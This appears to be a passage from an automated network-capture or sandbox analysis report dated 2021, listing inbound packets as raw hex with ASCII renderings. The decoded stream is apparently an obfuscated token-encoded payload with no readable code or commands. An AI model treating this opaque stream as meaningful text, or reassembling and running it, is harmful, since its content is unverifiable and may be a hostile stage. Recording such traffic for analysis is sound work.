Data Ascii: YY Kk Rk Q Oox OOK Qt OxQ oKx R Q Yx tO kY oKo RY Kt OOo tY KQ Okk o kY OOK ORK Oxk oYK R KQ 
Yx OkE kR oYo RY Oxk OOo Okt Yx Okk o kY OOK ook OOO oYK R KQ Yx OtY kR oYo RY Oxk OOo OYY Yx Okk o kY 
OOK OxY OxQ oYK R KQ Yx Ok kK oYo RY oY OOo OEQ Yx Qk OO KR

2021-11-09 21:21:48 UTC 186 IN Data Raw: 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 78 20 6b 4b 20 45 4b 20 6b 59 20 6f 78 6b 20 4f 4f 4b 20 6f 4b 45 20 
59 78 20 4f 59 52 20 4f 4f 20 6f 6f 20 4f 6f 6f 20 4b 4f 20 4f 78 6b 20 45 59 20 4b 4f 20 52 6b 20 59 4f 20 4f 78 20 6b 4b 20 
6f 59 6f 20 52 59 20 6f 78 6b 20 4f 4f 4b 20 45 59 20 59 4f 20 4f 4f 74 20 6f 78 20 4f 51 45 20 4f 4f 45 20 4f 74 20 4f 78 6b 
20 6f 59 4b 20 52 20 52 6b 20 59 78 20 51 78 20 6b 59 20 6f 4b 6f 20 52 59 20 6b 4b 20 4f 4f 6f 20 74 78 20 4b 51 20 52 
6b 20 51 20 4f 4f 59 20 4f 4f 4b 20 51 20 4f 78 6b 20 4f 4f 51 20 4f 4f 6f 20 6f 45 20 59 78 20 74 4b 20 6b 59 20 4f 4f 59 20 
6b 6f 20 4f 74 4f 20 4f 6f 78 20 6f 4b 45 20 59 78 20 6f 45 4b 20 4f 78 20 4f 59 51 20 4f 6f 6f 20 4f 45 6f 20 4f 4f 4f 20 45 59
20 4f 52 20 4b 6b 20 4b 51 
Data Ascii:  oYK R KQ Yx Ox kK EK kY oxk OOK oKE Yx OYR OO oo Ooo KO Oxk EY KO Rk YO Ox kK oYo RY oxk 
OOK EY YO OOt ox OQE OOE Ot Oxk oYK R Rk Yx Qx kY oKo RY kK OOo tx KQ Rk Q OOY OOK Q Oxk OOQ OOo oE 
Yx tK kY OOY ko OtO Oox oKE Yx oEK Ox OYQ Ooo OEo OOO EY OR Kk KQ

2021-11-09 21:21:48 UTC 190 IN Data Raw: 4b 20 52 6f 20 45 78 20 6f 4b 74 20 52 4f 20 6f 78 74 20 6b 4f 20 6b 74 20 74 45 20 51 4b 20 4f 6f 59 20 59 59 
20 4b 6b 20 6b 6f 20 59 4b 20 4f 6b 51 20 4f 6f 59 20 4f 4f 6f 20 4f 78 51 20 6f 78 20 59 78 20 6f 4f 51 20 52 4f 20 59 4f 20 
6b 4b 20 6f 52 20 4f 4f 74 20 4f 6f 6b 20 4f 6f 74 20 59 59 20 4b 6b 20 51 4b 20 59 4b 20 4f 6b 74 20 4f 6f 59 20 4f 78 45 
20 4f 78 51 20 51 45 20 59 4f 20 4f 51 45 20 52 4f 20 45 52 20 6b 4b 20 74 59 20 4f 4f 52 20 4f 59 52 20 4f 6f 74 20 59 6b 
20 4b 6b 20 4f 4f 78 20 59 59 20 4f 52 59 20 4f 6f 59 20 4f 6f 59 20 4f 78 51 20 4f 52 20 59 4f 20 4f 51 6b 20 52 4f 20 52 6f 
20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 59 52 20 4f 6f 74 20 59 6b 20 4b 6b 20 51 4b 20 59 59 20 4f 52 6f 20 4f 6f 59 20 4f 6f 59
20 4f 78 51 20 78 20 59 4f 20 
Data Ascii: K Ro Ex oKt RO oxt kO kt tE QK OoY YY Kk ko YK OkQ OoY OOo OxQ ox Yx oOQ RO YO kK oR OOt Ook 
Oot YY Kk QK YK Okt OoY OxE OxQ QE YO OQE RO ER kK tY OOR OYR Oot Yk Kk OOx YY ORY OoY OoY OxQ OR 
YO OQk RO Ro kK oR OOR OYR Oot Yk Kk QK YY ORo OoY OoY OxQ x YO 

2021-11-09 21:21:48 UTC 193 IN Data Raw: 59 6f 20 4f 78 4f 20 4f 51 59 20 59 78 20 4f 6f 52 20 4b 78 20 4f 4b 51 20 51 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 
20 4f 6f 74 20 4f 59 59 20 59 52 20 4f 6f 51 20 59 4b 20 4f 78 20 4f 78 4b 20 4f 6b 6f 20 4f 78 4f 20 59 4f 20 59 78 20 4f 51 
6b 20 52 4f 20 6f 59 59 20 51 6f 20 4f 51 45 20 4f 4f 74 20 6b 45 20 4f 78 52 20 6f 78 51 20 59 52 20 4f 4f 45 20 59 4b 20 
4f 52 6f 20 4f 6f 59 20 4f 59 52 20 4f 78 4f 20 4f 51 59 20 59 78 20 4f 6f 52 20 4b 78 20 59 45 20 51 45 20 4b 51 20 4f 4f 
74 20 4f 59 59 20 4f 6f 74 20 59 4b 20 59 74 20 51 74 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6f 4b 20 4f 78 78 20 4f 51 59 2
0 59 78 20 4f 4f 78 20 4b 78 20 45 4f 20 51 45 20 4f 51 45 20 4f 4f 74 20 6b 45 20 4f 78 52 20 4f 6f 45 20 59 74 20 4f 6f 51 
20 59 4b 20 6f 52 20 4f 78 4b 
Data Ascii: Yo OxO OQY Yx OoR Kx OKQ Qo KQ OOt OYY Oot OYY YR OoQ YK Ox OxK Oko OxO YO Yx OQk RO oYY 
Qo OQE OOt kE OxR oxQ YR OOE YK ORo OoY OYR OxO OQY Yx OoR Kx YE QE KQ OOt OYY Oot YK Yt Qt YK ORo 
OoY OoK Oxx OQY Yx OOx Kx EO QE OQE OOt kE OxR OoE Yt OoQ YK oR OxK

2021-11-09 21:21:48 UTC 197 IN Data Raw: 20 4f 51 6b 20 52 4f 20 4f 59 78 20 4f 4f 4b 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4b 6f 20 6f 6f 20 4f
4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 4b 51 20 74 59 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 59 4b 20 4f 4f 59 20 
4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 6b 20 6f 45 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 59 45 20 74 4b 20 
59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 6f 20 4f 4f 59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4b 52 20 6f 45 
20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6b 4f 20 74 4b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 4f 4b 20 4f 4f 
59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 59 78 20 6f 4b 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6b 59 20 52
51 20 59 4f 20 59 78 
Data Ascii:  OQk RO OYx OOK KQ OOt OYY Oot oKo oo OOE YK ORo OoY OKQ tY YO Yx OQk RO YK OOY KQ OOt O
YY Oot Ok oE OOE YK ORo OoY YE tK YO Yx OQk RO Oko OOY KQ OOt OYY Oot OKR oE OOE YK ORo OoY OkO tK 
YO Yx OQk RO oOK OOY KQ OOt OYY Oot Yx oK OOE YK ORo OoY kY RQ YO Yx
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2021-11-09 21:21:48 UTC 201 IN Data Raw: 6f 45 20 4f 4f 6f 20 59 4f 20 4b 6b 20 4b 6f 20 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4b 20 4f 78 51 20 59 59 20 59 78 
20 74 4b 20 59 4f 20 4f 45 59 20 6b 59 20 4f 59 45 20 4f 4f 52 20 4f 6f 59 20 4f 4f 4b 20 6b 20 59 78 20 4f 4f 6b 20 59 6f 20
59 6f 20 4f 4f 6f 20 6f 78 51 20 4f 4f 4f 20 4f 6b 4b 20 4b 6b 20 4f 51 52 20 4b 6b 20 45 74 20 6b 74 20 52 4b 20 4f 4f 6b 20
45 6f 20 4f 4f 59 20 4f 4f 4f 20 59 4f 20 6f 4b 4f 20 59 45 20 4f 74 52 20 4f 4f 45 20 4f 45 6f 20 4f 4f 78 20 4f 4f 51 20 59 4b 
20 45 59 20 59 4b 20 4b 6f 20 6b 78 20 52 4b 20 4f 4f 45 20 6b 4b 20 4f 4f 52 20 4f 78 4b 20 59 6f 20 4f 6b 78 20 59 78 20 
4f 51 59 20 4f 4f 6b 20 4f 4f 59 20 4f 78 4b 20 4f 6f 6f 20 59 59 20 4b 59 20 59 59 20 4f 78 59 20 6b 4f 20 6f 6f 4b 20 4f 4f 
6f 20 6f 4f 74 20 4f 
Data Ascii: oE OOo YO Kk Ko RO kK OOK OK OxQ YY Yx tK YO OEY kY OYE OOR OoY OOK k Yx OOk Yo Yo OOo o
xQ OOO OkK Kk OQR Kk Et kt RK OOk Eo OOY OOO YO oKO YE OtR OOE OEo OOx OOQ YK EY YK Ko kx RK OOE 
kK OOR OxK Yo Okx Yx OQY OOk OOY OxK Ooo YY KY YY OxY kO ooK OOo oOt O

2021-11-09 21:21:48 UTC 205 IN Data Raw: 4b 51 20 59 78 20 51 20 6b 59 20 59 4f 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 4f 4f 4b 20 4b 51 20 4f 4f 45 20 59 
4b 20 6b 59 20 4f 4f 4b 20 59 6f 20 4f 78 6b 20 59 4f 20 59 78 20 59 78 20 59 78 20 4f 4f 52 20 6b 59 20 59 59 20 4f 4f 74 
20 4f 78 6b 20 4f 4f 6f 20 4f 4f 45 20 4b 51 20 4f 4f 51 20 59 4b 20 6b 52 20 4f 4f 4b 20 4b 6b 20 4f 78 6b 20 59 59 20 59 
78 20 4b 51 20 59 78 20 4f 4f 6f 20 6b 59 20 59 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 4f 4f 74 20 4b 51 20 4f 6f 45 20 59 
4b 20 6b 59 20 4f 4f 4b 20 52 4f 20 4f 78 6b 20 59 74 20 59 78 20 59 78 20 59 78 20 4f 6f 74 20 6b 59 20 59 74 20 4f 4f 74 
20 4f 78 6b 20 4f 4f 6f 20 4f 6f 78 20 4b 51 20 4f 6f 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 45 52 20 4f 78 6b 20 52 4f 20 59 78 
20 4b 51 20 59 78 20 4f 78 78 
Data Ascii: KQ Yx Q kY YO OOt OOO OOo OOK KQ OOE YK kY OOK Yo Oxk YO Yx Yx Yx OOR kY YY OOt Oxk OOo 
OOE KQ OOQ YK kR OOK Kk Oxk YY Yx KQ Yx OOo kY YE OOt OOO OOo OOt KQ OoE YK kY OOK RO Oxk Yt Yx Yx 
Yx Oot kY Yt OOt Oxk OOo Oox KQ OoO YK kR OOK ER Oxk RO Yx KQ Yx Oxx

2021-11-09 21:21:48 UTC 210 IN Data Raw: 4f 51 74 20 4f 4f 59 20 4f 4f 74 20 6f 4f 4b 20 4f 4f 6f 20 6f 59 4b 20 4f 52 4f 20 59 4f 20 59 4b 20 6f 45 6f 20 4f 
4f 4b 20 4f 52 51 20 6f 59 6f 20 4f 4f 45 20 59 78 20 4f 4b 4f 20 59 78 20 4f 51 4b 20 4f 51 74 20 4f 4f 59 20 4f 4f 74 20 6f 
4f 4f 20 4f 4f 6f 20 59 4b 20 4f 52 6f 20 59 4f 20 59 4b 20 6f 45 59 20 4f 4f 4b 20 4f 6f 4f 20 6f 59 59 20 4f 4f 45 20 59 78 20
6f 4b 78 20 59 78 20 4b 6f 20 4f 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 74 6f 20 4f 4f 6f 20 4f 4b 20 4f 52 6f 20 59 4f 20 59 4b 
20 4f 59 78 20 4f 4f 4b 20 45 45 20 6f 59 59 20 4f 4f 45 20 59 78 20 6f 4b 45 20 59 78 20 52 52 20 4f 51 6b 20 4f 4f 59 20 
4f 4f 74 20 4f 52 51 20 4f 4f 6f 20 4f 59 78 20 4f 52 6f 20 59 4f 20 59 4b 20 4f 4b 59 20 4f 4f 4b 20 4f 74 74 20 6f 59 4b 20 
4f 4f 45 20 59 78 
Data Ascii: OQt OOY OOt oOK OOo oYK ORO YO YK oEo OOK ORQ oYo OOE Yx OKO Yx OQK OQt OOY OOt oOO 
OOo YK ORo YO YK oEY OOK OoO oYY OOE Yx oKx Yx Ko OQk OOY OOt Oto OOo OK ORo YO YK OYx OOK EE 
oYY OOE Yx oKE Yx RR OQk OOY OOt ORQ OOo OYx ORo YO YK OKY OOK Ott oYK OOE Yx

2021-11-09 21:21:48 UTC 214 IN Data Raw: 20 4b 6f 20 52 6f 20 4b 20 6b 45 20 52 6b 20 51 4f 20 6b 59 20 6f 4f 20 78 20 74 20 4f 6f 20 51 20 4f 6f 45 20 
51 4b 20 51 4f 20 52 52 20 78 20 4f 4f 20 59 20 6b 20 45 59 20 51 4f 20 74 4b 20 6b 74 20 4f 4f 20 4f 78 6f 20 74 4b 20 52 
59 20 51 45 20 4f 4f 6f 20 4f 78 51 20 4f 4f 4f 20 51 74 20 52 52 20 59 45 20 52 20 6f 6b 20 4f 4b 20 4b 51 20 52 4b 20 52 
52 20 6b 45 20 74 51 20 6f 51 20 6f 6b 20 6f 6b 20 6f 59 20 45 52 20 74 59 20 52 4b 20 6b 74 20 4f 78 4f 20 52 4f 20 6b 
20 4f 52 20 6b 78 20 52 6b 20 6f 20 4b 6b 20 59 20 4f 20 6f 4f 20 74 59 20 52 74 20 6b 59 20 52 74 20 4f 4f 52 20 4f 4f 45 
20 4f 4f 52 20 4b 20 4f 74 20 4b 51 20 74 52 20 4b 78 20 59 4f 20 4f 20 4f 4f 52 20 4f 4f 59 20 4f 4f 52 20 6f 45 20 52 52 20 
74 52 20 4b 4f 20 52 74 20 4f 20 4f 4f 
Data Ascii:  Ko Ro K kE Rk QO kY oO x t Oo Q OoE QK QO RR x OO Y k EY QO tK kt OO Oxo tK RY QE OOo OxQ 
OOO Qt RR YE R ok OK KQ RK RR kE tQ oQ ok ok oY ER tY RK kt OxO RO k OR kx Rk o Kk Y O oO tY Rt kY Rt OOR 
OOE OOR K Ot KQ tR Kx YO O OOR OOY OOR oE RR tR KO Rt O OO

2021-11-09 21:21:48 UTC 224 IN Data Raw: 6b 4f 20 74 6b 20 4f 4f 20 4f 4f 4f 20 4f 78 51 20 52 20 4f 4f 20 52 6b 20 4f 4f 74 20 6b 4f 20 45 59 20 6f 6f 74 
20 4f 74 74 20 6f 6f 52 20 4f 45 4b 20 59 6b 20 74 52 20 6f 45 20 59 78 20 4b 74 20 6f 20 4f 4f 4f 20 4b 20 59 4b 20 59 4f 
20 6f 45 20 4f 20 59 78 20 59 74 20 6b 52 20 52 20 59 78 20 52 51 20 4b 51 20 52 20 4b 6f 20 45 52 20 6f 78 20 4b 20 4b 
6b 20 4f 4f 51 20 6b 6b 20 45 6f 20 6f 74 20 4f 20 6f 78 20 74 78 20 59 78 20 4f 6f 4f 20 6b 52 20 74 20 51 51 20 4f 4f 4b 
20 4b 6b 20 45 20 4b 20 51 4f 20 52 6b 20 74 59 20 74 20 51 51 20 4f 4f 4b 20 59 4f 20 4b 74 20 74 4f 20 59 20 4f 4f 45 
20 4f 4f 59 20 4f 4b 20 6f 45 20 59 4b 20 59 6f 20 4b 45 20 52 6b 20 4f 4f 6b 20 6f 20 45 20 4f 59 20 4f 78 6f 20 52 6b 20 
74 52 20 51 4f 20 52 74 20 74 20 78 20 4f 
Data Ascii: kO tk OO OOO OxQ R OO Rk OOt kO EY oot Ott ooR OEK Yk tR oE Yx Kt o OOO K YK YO oE O Yx Yt kR R 
Yx RQ KQ R Ko ER ox K Kk OOQ kk Eo ot O ox tx Yx OoO kR t QQ OOK Kk E K QO Rk tY t QQ OOK YO Kt tO Y OOE 
OOY OK oE YK Yo KE Rk OOk o E OY Oxo Rk tR QO Rt t x O

2021-11-09 21:21:48 UTC 230 IN Data Raw: 20 4f 4f 45 20 78 20 6f 4f 20 74 78 20 52 74 20 4b 78 20 52 51 20 4f 4f 45 20 45 20 4f 4f 45 20 4f 4f 59 20 51 74
20 52 59 20 4b 6b 20 51 45 20 4b 51 20 4f 4f 51 20 52 20 4f 4f 6f 20 4f 4f 51 20 4f 74 20 59 59 20 52 52 20 51 78 20 52 6b 
20 4b 20 4f 4f 52 20 59 78 20 6b 59 20 59 4b 20 59 4f 20 59 6f 20 4b 4f 20 4f 4f 6f 20 4b 20 45 20 74 20 59 20 6f 6f 20 52 
6b 20 74 74 20 6b 59 20 59 78 20 4f 4f 20 51 20 4f 4f 59 20 59 20 51 74 20 74 78 20 74 78 20 6b 4b 20 52 74 20 78 20 4f 
4f 45 20 4f 4f 59 20 74 20 4f 78 6f 20 52 51 20 4b 51 20 4b 4b 20 4b 51 20 6f 20 4f 4f 74 20 52 20 4f 4b 20 4f 6b 20 4b 6b 
20 59 4b 20 51 4f 20 52 6b 20 4b 20 4f 4f 4b 20 4f 4f 6f 20 4f 4f 4b 20 6b 4b 20 4b 6b 20 52 4b 20 4b 74 20 52 6b 20 4f 4f 
52 20 4f 4f 45 20 78 20 59 20 51 6b 20 
Data Ascii:  OOE x oO tx Rt Kx RQ OOE E OOE OOY Qt RY Kk QE KQ OOQ R OOo OOQ Ot YY RR Qx Rk K OOR Yx 
kY YK YO Yo KO OOo K E t Y oo Rk tt kY Yx OO Q OOY Y Qt tx tx kK Rt x OOE OOY t Oxo RQ KQ KK KQ o OOt R OK 
Ok Kk YK QO Rk K OOK OOo OOK kK Kk RK Kt Rk OOR OOE x Y Qk 

2021-11-09 21:21:48 UTC 246 IN Data Raw: 6b 4f 20 6b 4f 20 74 78 20 6b 45 20 52 20 6f 45 20 6f 6f 20 4b 20 78 20 51 4f 20 6b 59 20 51 6f 20 52 52 20 6f 
45 20 45 78 20 6f 6b 20 6b 20 45 78 20 74 78 20 4f 4f 59 20 52 4b 20 6b 45 20 4b 6b 20 6f 45 20 6f 74 20 6f 59 20 6f 59 20
6b 45 20 51 6f 20 59 78 20 6b 59 20 59 4b 20 52 6f 20 6f 78 20 4f 59 20 6f 4f 20 51 4b 20 4b 6b 20 52 52 20 6b 4b 20 6f 4b 
20 4f 51 20 6f 45 20 6b 20 6f 6b 20 59 78 20 51 51 20 74 59 20 52 51 20 45 6f 20 6f 45 20 6f 4b 20 52 74 20 45 59 20 6b 
74 20 52 52 20 52 6b 20 51 59 20 59 59 20 6f 45 20 59 52 20 6f 20 6f 78 20 6b 74 20 51 6f 20 59 78 20 4f 4f 74 20 45 6b 
20 6f 45 20 6f 78 20 6f 59 20 6f 4f 20 4f 4f 45 20 6b 6b 20 6b 45 20 6b 6b 20 59 6b 20 6f 45 20 6f 59 20 4f 78 51 20 59 74 
20 4f 4f 45 20 51 6f 20 51 4f 20 6b 45 20 59 
Data Ascii: kO kO tx kE R oE oo K x QO kY Qo RR oE Ex ok k Ex tx OOY RK kE Kk oE ot oY oY kE Qo Yx kY YK Ro ox 
OY oO QK Kk RR kK oK OQ oE k ok Yx QQ tY RQ Eo oE oK Rt EY kt RR Rk QY YY oE YR o ox kt Qo Yx OOt Ek oE ox 
oY oO OOE kk kE kk Yk oE oY OxQ Yt OOE Qo QO kE Y

2021-11-09 21:21:48 UTC 256 IN Data Raw: 74 20 6b 51 20 59 6b 20 52 20 6f 51 20 45 78 20 4f 4f 6f 20 74 78 20 6b 6b 20 51 4f 20 52 51 20 6b 4b 20 6f 4f 
20 4f 52 20 6f 59 20 4b 74 20 4f 78 6f 20 6b 51 20 6b 4f 20 51 45 20 45 51 20 4f 4f 4b 20 6f 59 20 4b 20 45 78 20 6b 51 20 
52 74 20 59 78 20 52 6b 20 4b 51 20 45 4f 20 6f 52 20 6f 59 20 6f 4f 20 4f 78 6f 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 
4f 4b 20 45 45 20 45 4f 20 51 20 4f 4f 74 20 6b 59 20 74 78 20 51 6b 20 59 45 20 4f 20 45 78 20 45 78 20 4f 4f 6f 20 74 78 
20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 59 74 20 6f 20 4f 51 20 6b 45 20 51 6f 20 52 59 20 59 4b 20 59 4f 20 6f 
45 20 4f 20 59 78 20 59 4f 20 52 4b 20 6b 59 20 6b 52 20 6b 45 20 59 6b 20 52 20 6f 6b 20 4f 6f 20 6f 6b 20 52 59 20 4b 
6b 20 51 74 20 6b 59 20 59 45 20 6f 6b 20 
Data Ascii: t kQ Yk R oQ Ex OOo tx kk QO RQ kK oO OR oY Kt Oxo kQ kO QE EQ OOK oY K Ex kQ Rt Yx Rk KQ EO oR 
oY oO Oxo kO RY QE EQ OOK EE EO Q OOt kY tx Qk YE O Ex Ex OOo tx kO RY QE EQ OOK Yt o OQ kE Qo RY YK Y
O oE O Yx YO RK kY kR kE Yk R ok Oo ok RY Kk Qt kY YE ok 

Timestamp
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2021-11-09 21:21:48 UTC 272 IN Data Raw: 78 6f 20 6b 4b 20 59 6f 20 4f 4f 74 20 4b 20 4f 4f 6f 20 51 4b 20 4b 6b 20 6b 74 20 59 4b 20 4f 6f 6f 20 4f 4f 4b 
20 45 4b 20 4f 78 51 20 6f 20 59 78 20 6b 51 20 59 78 20 52 52 20 6b 4b 20 6f 45 20 4f 4f 74 20 52 45 20 4f 4f 6f 20 4f 6f 
59 20 4b 6b 20 4f 4f 52 20 59 4b 20 6f 51 20 4f 4f 4b 20 59 74 20 4f 78 51 20 59 45 20 59 78 20 6f 4f 20 59 78 20 4f 78 52 
20 6b 4b 20 59 4f 20 4f 4f 74 20 6f 51 20 4f 4f 6f 20 52 52 20 4b 6b 20 4f 4f 52 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 59 20 4f 
78 51 20 6f 4f 20 59 78 20 45 78 20 59 78 20 51 74 20 6b 4b 20 78 20 4f 4f 74 20 4b 20 4f 4f 6f 20 74 78 20 4b 6b 20 6b 74
20 59 4b 20 4f 52 20 4f 4f 4b 20 6f 78 20 4f 78 51 20 4b 20 59 78 20 6b 4f 20 59 78 20 4f 78 52 20 6b 4b 20 45 6f 20 4f 4f 
74 20 6f 20 4f 4f 6f 20 6b 45 20 
Data Ascii: xo kK Yo OOt K OOo QK Kk kt YK Ooo OOK EK OxQ o Yx kQ Yx RR kK oE OOt RE OOo OoY Kk OOR YK 
oQ OOK Yt OxQ YE Yx oO Yx OxR kK YO OOt oQ OOo RR Kk OOR YK RO OOK oY OxQ oO Yx Ex Yx Qt kK x OOt K 
OOo tx Kk kt YK OR OOK ox OxQ K Yx kO Yx OxR kK Eo OOt o OOo kE 

2021-11-09 21:21:48 UTC 288 IN Data Raw: 59 20 4f 6f 4b 20 51 52 20 4f 6f 74 20 51 45 20 59 4f 20 52 6f 20 45 51 20 45 52 20 4f 6f 4f 20 4f 4f 59 20 4f 6f 
45 20 4f 4f 6f 20 4f 6f 52 20 59 6b 20 52 6f 20 4b 6b 20 4b 45 20 74 78 20 6f 4b 6f 20 6f 6f 78 20 4f 6f 78 20 51 74 20 4f 4f 
20 4b 51 20 52 78 20 59 52 20 74 78 20 4f 51 20 4f 4f 51 20 4f 78 4f 20 4f 6f 78 20 45 6f 20 4f 74 52 20 4f 59 59 20 59 52 
20 6b 4f 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6f 20 4f 6f 52 20 52 78 20 59 4b 20 4f 6b 20 59 4b 20 74 45 20 51 52 20 6f 4b 59 20
4f 51 52 20 4f 4f 74 20 4f 6b 20 4b 51 20 4b 6b 20 45 74 20 6b 4b 20 51 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 4f 20 45 6f 20 6f
51 20 59 4f 20 45 52 20 6f 4f 45 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 78 20 51 6b 20 74 20 4b 51 20 52 78 20 59 52 20 74 45 20 
4f 6f 4b 20 4f 6f 45 20 4f 
Data Ascii: Y OoK QR Oot QE YO Ro EQ ER OoO OOY OoE OOo OoR Yk Ro Kk KE tx oKo oox Oox Qt OO KQ Rx YR tx 
OQ OOQ OxO Oox Eo OtR OYY YR kO OOK OOR OOo OoR Rx YK Ok YK tE QR oKY OQR OOt Ok KQ Kk Et kK QK 
OOK OoR OxO Eo oQ YO ER oOE OOK Oot Oox Qk t KQ Rx YR tE OoK OoE O

2021-11-09 21:21:49 UTC 304 IN Data Raw: 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 6f 6b 20 4f 78 78 20 6b 45 20 45 6b 20 4f 20 6f 6b 20 6f 20 45 78 
20 4f 59 20 74 78 20 52 20 6f 4b 20 4f 78 78 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 45 6b 20 4f 4f 6b 20 52 4b 20 
6b 74 20 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 4f 4f 52 20 51 4f 20 52 51 20 45 52 20 45 78 20 6f 78 20 6f 78 20 52 
6f 20 6b 45 20 51 45 20 6b 74 20 45 6b 20 4f 6f 6f 20 52 78 20 4b 6b 20 59 74 20 6b 78 20 4f 4f 52 20 52 52 20 6b 45 20 
51 4f 20 4b 51 20 59 20 6f 52 20 45 4f 20 6f 74 20 4f 6b 20 4b 20 52 4f 20 59 59 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 59 74 
20 4f 6f 52 20 59 4b 20 4f 6f 52 20 6b 45 20 51 4f 20 4b 51 20 4f 4f 45 20 52 78 20 51 20 52 59 20 52 4f 20 4b 51 20 59 78 
20 59 59 20 6b 4b 20 45 6b 20 4f 6f 45 20 
Data Ascii: Yt oE o o o kQ ok Oxx kE Ek O ok o Ex OY tx R oK Oxx OOY OOt Yt OoR Ek OOk RK kt Yt oE o o o kQ OOR 
QO RQ ER Ex ox ox Ro kE QE kt Ek Ooo Rx Kk Yt kx OOR RR kE QO KQ Y oR EO ot Ok K RO YY kK OOY OOt Yt OoR 
YK OoR kE QO KQ OOE Rx Q RY RO KQ Yx YY kK Ek OoE 

2021-11-09 21:21:49 UTC 320 IN Data Raw: 4f 4f 20 6b 4b 20 45 74 20 4f 4f 74 20 6f 4f 20 4f 4f 6f 20 52 59 20 4b 6b 20 4f 78 4b 20 59 4b 20 4f 6f 20 4f 4f 
4b 20 45 52 20 4f 78 51 20 59 51 20 59 78 20 6b 4f 20 59 78 20 4f 6f 52 20 6b 4b 20 4b 6b 20 4f 4f 74 20 45 20 4f 4f 6f 20 
6b 78 20 4b 6b 20 4f 4f 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 6f 52 20 4f 78 51 20 4b 6f 20 59 78 20 6f 20 59 78 20 4f 78 6b 
20 6b 4b 20 74 20 4f 4f 74 20 4f 6f 20 4f 4f 6f 20 4f 4f 74 20 4b 6b 20 4f 6f 78 20 59 4b 20 59 6b 20 4f 4f 4b 20 6f 6f 20 4f 
78 51 20 59 59 20 59 78 20 52 4b 20 59 78 20 51 45 20 6b 4b 20 4b 78 20 4f 4f 74 20 59 6b 20 4f 4f 6f 20 74 20 4b 6b 20 
52 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 74 4f 20 4f 78 51 20 52 59 20 59 78 20 51 4f 20 59 78 20 4f 78 6b 20 6b 4b 20 52 4b 
20 4f 4f 74 20 6b 4b 20 4f 4f 6f 20 
Data Ascii: OO kK Et OOt oO OOo RY Kk OxK YK Oo OOK ER OxQ YQ Yx kO Yx OoR kK Kk OOt E OOo kx Kk OOt YK 
OK OOK oR OxQ Ko Yx o Yx Oxk kK t OOt Oo OOo OOt Kk Oox YK Yk OOK oo OxQ YY Yx RK Yx QE kK Kx OOt Yk 
OOo t Kk Rt YK OK OOK tO OxQ RY Yx QO Yx Oxk kK RK OOt kK OOo 

2021-11-09 21:21:49 UTC 336 IN Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 
4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 
4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 
59 4b 20 6b 4b 20 4f 4f 4b 20 
Data Ascii: kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx 
YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK 
OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK 

2021-11-09 21:21:49 UTC 352 IN Data Raw: 45 6f 20 59 78 20 78 20 78 20 78 20 4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 59 20 78 20 78 
20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4b 78 20 59 52 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 52 20 78 20 78 20 78 
